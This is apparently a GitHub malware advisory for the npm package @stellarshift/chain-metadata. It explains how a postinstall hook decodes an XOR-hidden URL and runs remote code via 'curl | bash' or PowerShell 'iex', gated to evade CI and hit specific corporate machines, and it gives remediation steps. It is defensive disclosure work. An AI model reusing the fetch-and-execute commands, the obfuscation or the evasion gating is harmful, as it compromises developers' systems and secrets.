@stellarshift/chain-metadata@1.0.0

The package's postinstall lifecycle script fetches and executes arbitrary code from a remote URL that is stored XOR-encoded in `endpoint-registry.json` and decoded at runtime by `config-resolver.js` (encoding tag `ss-xor-v1`, decoder `segments[i] ^ key.charCodeAt(i % key.length) ^ ((i*7+13) & 0xff)`). The decoded destination is `https://mexc-1258433570.cos.ap-beijing.myqcloud.com/abi-tool-damon`, an anonymous Tencent Cloud COS bucket unrelated to the package's stated publisher. On Unix the fetched content is piped to `bash` (`curl -fsSL... | bash`); on Windows it is executed via PowerShell `iex (iwr -UseBasicParsing -Uri $uri).Content`, with detached/hidden process flags. Execution is gated by `dev-profile.js`: it short-circuits when common CI environment variables are present and only proceeds on darwin/win32 hosts where both a Lark or Feishu client AND FortiClient VPN are installed, restricting the payload to specific corporate developer workstations and evading sandbox/CI observation. The README simultaneously advertises `No network calls — safe for CI and air-gapped builds` and `Zero runtime dependencies`, directly contradicting the shipped install-time network fetch and shell execution. ## Source: ghsa-malware (539c9ea2b1ba04e3d86ec8ab3074f227550ae2005c391eef7b4fc3758fc215f6) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.